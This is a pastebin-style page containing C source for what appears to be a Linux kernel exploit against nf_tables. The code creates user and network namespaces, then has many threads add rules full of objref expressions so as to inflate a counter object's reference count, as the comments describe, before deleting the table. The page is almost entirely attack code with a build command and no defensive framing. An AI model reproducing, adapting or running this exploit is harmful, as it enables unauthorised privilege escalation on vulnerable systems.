Untitled
unknown
plain_text
2 years ago
16 kB
3
Indexable
/* gcc exploit.c -no-pie -o exp -lmnl -lnftnl -lpthread */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sched.h> #include <ctype.h> #include <pthread.h> #include <fcntl.h> #include <unistd.h> #include <stddef.h> #include <time.h> #include <signal.h> #include <sys/resource.h> #include <sys/types.h> #include <sys/xattr.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/msg.h> #include <linux/ip.h> #include <netinet/in.h> #include <linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter/nf_tables.h> #include <linux/netfilter/nfnetlink.h> #include <linux/keyctl.h> #include <linux/unistd.h> #include <linux/io_uring.h> /* contains io_uring_params for percpu_ref_data spraying */ #include <libnftnl/chain.h> #include <libnftnl/table.h> #include <libnftnl/rule.h> #include <libnftnl/set.h> #include <libnftnl/object.h> #include <libnftnl/expr.h> #include <libmnl/libmnl.h> #include <arpa/inet.h> #include <stdint.h> #include <sys/syscall.h> #include <sys/mman.h> #define DEF_CORE 3 #define MAX_RULE 3 // 3 #define CORE_NUM 16 // #define MAX_RULES_THREAD 1000 // 176138 char chain_name[] = "chainA\0"; char table_name[] = "table1\0"; char obj_name[] = "obj1\0"; char set_name[] = "set1\0"; void errout(char *msg) { perror(msg); exit(-1); } /* Hexdump utility for debugging purposes */ void hexdump(void *mem, unsigned int len) { unsigned int i = 0, j = 0; for (i = 0; i < len + ((len % 16) ? (16 - len % 16) : 0); i++) { if (i % 16 == 0) printf("0x%06x: ", i); if (i < len) printf("%02x ", 0xFF & ((char *)mem)[i]); else printf(" "); if (i % 16 == (16 - 1)) { for (j = i - (16 - 1); j <= i; j++) { if (j >= len) putchar(' '); else if (isprint(((char *)mem)[j])) putchar(0xFF & ((char *)mem)[j]); else putchar('.'); } putchar('\n'); } } return; } static void assign_to_core(int core_id) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(core_id, &mask); if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) { errout("sched_setaffinity"); } } static int setup_sandbox(void) { struct rlimit fdlim; cpu_set_t set; int pid; // assign_to_core(DEF_CORE); /* Execute ourselves in a new network namespace to be able to trigger and exploit the bug */ /* For another user can communicate with netlink - somehow */ if (unshare(CLONE_NEWUSER) < 0) { perror("[-] unshare(CLONE_NEWUSER)"); return -1; } /* Network namespaces provide isolation of the system resources */ if (unshare(CLONE_NEWNET) < 0) { perror("[-] unshare(CLONE_NEWNET)"); return -1; } // CPU_ZERO(&set); // CPU_SET(0, &set); // if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) { // perror("[-] sched_setaffinity"); // return -1; // } return 0; } void create_table_chain(struct mnl_socket *nl) { struct mnl_nlmsg_batch *batch = NULL; struct nlmsghdr *nh = NULL; int r = 0; int seq = 0; char buf[16384] = {0}; struct nftnl_table *table = NULL; // assign_to_core(DEF_CORE); puts("[+] create_table_chain"); table = nftnl_table_alloc(); nftnl_table_set_str(table, NFTNL_TABLE_NAME, strdup(table_name)); // nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data, size); /* Create obj1 to table1 */ struct nftnl_obj *obj = nftnl_obj_alloc(); nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name); nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name); nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); /* Adding chain hooking */ struct nftnl_chain *chain2 = NULL; chain2 = nftnl_chain_alloc(); nftnl_chain_set_str(chain2, NFTNL_CHAIN_NAME, chain_name); nftnl_chain_set_str(chain2, NFTNL_CHAIN_TABLE, table_name); nftnl_chain_set_data(chain2, NFTNL_CHAIN_TYPE, strdup("filter"), 0); nftnl_chain_set_u32(chain2, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT); nftnl_chain_set_u32(chain2, NFTNL_CHAIN_PRIO, 0); /* ======================================================================================= */ // /* Create set and add it to table1 */ // struct nftnl_set *set = nftnl_set_alloc(); // nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name); // nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); // nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 8); // nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe)); // nftnl_set_set_u32(set, NFTNL_SET_FLAGS, // NFT_SET_OBJECT); // NFT_SET_TIMEOUT, NFT_SET_ANONYMOUS // nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER); // nftnl_set_set_u32(set, NFTNL_SET_KEY_TYPE, 13); // // nftnl_set_set_u64(set, NFTNL_SET_TIMEOUT, 1500); // // nftnl_set_set_u32(set, NFTNL_SET_GC_INTERVAL, 2000); // nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4); // /* Linking set */ // struct nftnl_set *sx = nftnl_set_alloc(); // nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_name); // nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe)); // /* Create set element and add set_elem into set */ // struct nftnl_set_elem *se = NULL; // se = nftnl_set_elem_alloc(); // nftnl_set_elem_set_str(se, NFTNL_SET_ELEM_OBJREF, obj_name); // obj->use = 1 // nftnl_set_elem_set_u32(se, NFTNL_SET_ELEM_FLAGS, // 0x2); /* NFT_SET_ELEM_CATCHALL = 0x2 */ // nftnl_set_elem_add(sx, se); /* ======================================================================================= */ batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); // table nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_table_nlmsg_build_payload(nh, table); // mnl_attr_put(nh, NFTA_TABLE_USERDATA, size, data); mnl_nlmsg_batch_next(batch); // obj nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_obj_nlmsg_build_payload(nh, obj); mnl_nlmsg_batch_next(batch); // // set // nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), // NFT_MSG_NEWSET, NFPROTO_IPV4, // NLM_F_CREATE, seq++); // nftnl_set_nlmsg_build_payload(nh, set); // mnl_nlmsg_batch_next(batch); // // set element // nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), // NFT_MSG_NEWSETELEM, NFPROTO_IPV4, // NLM_F_CREATE, seq++); // nftnl_set_elems_nlmsg_build_payload(nh, sx); // mnl_nlmsg_batch_next(batch); // chain nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_chain_nlmsg_build_payload(nh, chain2); mnl_nlmsg_batch_next(batch); // send nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); if (r < 0) errout("mnl_socket_sendto"); return; } /* Create a netfilter table */ void create_rule_expr(struct mnl_socket *nl) { struct mnl_nlmsg_batch *batch = NULL; struct nlmsghdr *nh = NULL; int r = 0; int seq = 0; char buf[16384] = {0}; struct nftnl_expr *expr[127] = {0}; struct nftnl_rule *rule[MAX_RULE+1] = {0}; // assign_to_core(DEF_CORE); for (int j=0; j<MAX_RULE; j++) { /* Add nft_rule to table */ rule[j] = nftnl_rule_alloc(); nftnl_rule_set_str(rule[j], NFTNL_RULE_TABLE, table_name); nftnl_rule_set_str(rule[j], NFTNL_RULE_CHAIN, chain_name); nftnl_rule_set_u32(rule[j], NFTNL_RULE_FAMILY, NFPROTO_IPV4); for (int i=0; i<127; i++) { /* Add nft_expr into nft_rule*/ expr[i] = nftnl_expr_alloc("objref"); nftnl_expr_set_str(expr[i], NFTNL_EXPR_OBJREF_IMM_NAME, obj_name); // obj->use++ nftnl_expr_set_u32(expr[i], NFTNL_EXPR_OBJREF_IMM_TYPE, NFT_OBJECT_COUNTER); nftnl_rule_add_expr(rule[j], expr[i]); } } batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); for (int j=0; j<MAX_RULE; j++) { // rule nh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_rule_nlmsg_build_payload(nh, rule[j]); nftnl_rule_free(rule[j]); mnl_nlmsg_batch_next(batch); } // send nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); if (r < 0) errout("mnl_socket_sendto"); return; } /* Create a netfilter table */ void create_rule_expr_append(struct mnl_socket *nl) { struct mnl_nlmsg_batch *batch = NULL; struct nlmsghdr *nh = NULL; int r = 0; int seq = 0; char buf[16384] = {0}; struct nftnl_expr *expr[4] = {0}; struct nftnl_rule *rule = NULL; // assign_to_core(DEF_CORE); rule = nftnl_rule_alloc(); nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name); nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, NFPROTO_IPV4); for (int i=0; i<4; i++) { /* Add nft_expr into nft_rule*/ expr[i] = nftnl_expr_alloc("objref"); nftnl_expr_set_str(expr[i], NFTNL_EXPR_OBJREF_IMM_NAME, obj_name); // obj->use++ nftnl_expr_set_u32(expr[i], NFTNL_EXPR_OBJREF_IMM_TYPE, NFT_OBJECT_COUNTER); nftnl_rule_add_expr(rule, expr[i]); } batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); nh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_rule_nlmsg_build_payload(nh, rule); nftnl_rule_free(rule); mnl_nlmsg_batch_next(batch); // send nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); if (r < 0) errout("mnl_socket_sendto"); return; } /* Callback setelem get */ static int obj_cb(const struct nlmsghdr *nlh, void *data) { struct nftnl_set *t; char buf[4096]; uint32_t *type = data; // assign_to_core(DEF_CORE); t = nftnl_set_alloc(); if (t == NULL) { perror("OOM"); goto err; } if (nftnl_set_elems_nlmsg_parse(nlh, t) < 0) { perror("nftnl_set_nlmsg_parse"); goto err_free; } nftnl_set_snprintf(buf, sizeof(buf), t, *type, 0); err_free: nftnl_set_free(t); err: return MNL_CB_OK; } void getobj(struct mnl_socket *nl){ char buf[MNL_SOCKET_BUFFER_SIZE]; struct nlmsghdr *nlh = NULL; uint32_t seq = 0, ret = 0, portid = 0, cfd = 0, sfd = 0; uint32_t type = NFTNL_OUTPUT_DEFAULT; uint64_t use=0; /* Create obj1 to table1 */ struct nftnl_obj *obj = nftnl_obj_alloc(); nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name); nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name); nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); // nlh = nftnl_set_nlmsg_build_hdr(buf, NFT_MSG_GETSETELEM, NFPROTO_IPV4, // NLM_F_DUMP | NLM_F_ACK, seq++); // nftnl_set_elems_nlmsg_build_payload(nlh, s); // // nftnl_set_free(s); // obj nlh = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETOBJ, NFPROTO_IPV4, NLM_F_DUMP | NLM_F_ACK, seq++); nftnl_obj_nlmsg_build_payload(nlh, obj); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { errout("mnl_socket_sendto"); } portid = mnl_socket_get_portid(nl); // ???? ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); while (ret > 0) { ret = mnl_cb_run(buf, ret, seq, portid, obj_cb, &type); if (ret <= 0) break; ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); } use = ntohl(*(uint32_t *)((char *)buf + 0x38)); printf("[+] use: 0x%lx\n", use); // hexdump(buf, 0x200); } /* Delete a netfilter table */ void delete_table(struct mnl_socket *nl) { struct mnl_nlmsg_batch *batch = NULL; struct nlmsghdr *nh = NULL; int r = 0; int seq = 0; char buf[16384] = {0}; struct nftnl_table *table = NULL; // assign_to_core(DEF_CORE); puts("[+] Delete table"); table = nftnl_table_alloc(); nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); // table nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); nftnl_table_nlmsg_build_payload(nh, table); mnl_nlmsg_batch_next(batch); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)); if (r < 0) errout("mnl_socket_sendto"); return; } void *thread_func(){ struct mnl_socket *nl; nl = mnl_socket_open(NETLINK_NETFILTER); if (!nl) { errout("mnl_socket_open"); } // for(int i=0; i<MAX_RULES_THREAD+1; i++) { // printf("[+] create_rule_expr: 0x%lx\n", i); create_rule_expr(nl); // obj->use += 381 } puts("[+] Done thread"); } void *thread_func2(){ struct mnl_socket *nl; nl = mnl_socket_open(NETLINK_NETFILTER); if (!nl) { errout("mnl_socket_open"); } // for(int i=0; i<MAX_RULES_THREAD; i++) { // printf("[+] create_rule_expr: 0x%lx\n", i); create_rule_expr(nl); // obj->use += 381 } puts("[+] Done thread"); } int main() { uint64_t addr_value = 0; struct mnl_socket *nl; pthread_t thread[CORE_NUM] = {0}; int iret[CORE_NUM]; // assign_to_core(DEF_CORE); puts("[+] Setup namespace sandbox"); if (setup_sandbox()) return -1; nl = mnl_socket_open(NETLINK_NETFILTER); if (!nl) { errout("mnl_socket_open"); } create_table_chain(nl); // // 0x2b00ac // for(int i=0; i<0x10; i++) { // printf("[+] create_rule_expr: 0x%lx\n", i); // // create_rule_expr(nl); // obj->use += 381 // } // part1 for (int i=0; i<12; i++) { // use += max_rules*381 iret[i] = pthread_create( &thread[i], NULL, thread_func, NULL); } for (int i=0; i<4; i++) { // use += max_rules*381 iret[i] = pthread_create( &thread[i+12], NULL, thread_func2, NULL); } for (int i=0; i<CORE_NUM; i++) { pthread_join( thread[i], NULL); } // use = 0x3ffffffc = 176139 * 12 * 381 + 176138 * 4 * 381 create_rule_expr_append(nl); // use = use +4 = 0x40000000 // CORE_NUM=16 // CORE_NUM*max_rules*381 -> use = 1<<30+1 getobj(nl); delete_table(nl); return 0; }
Editor is loading...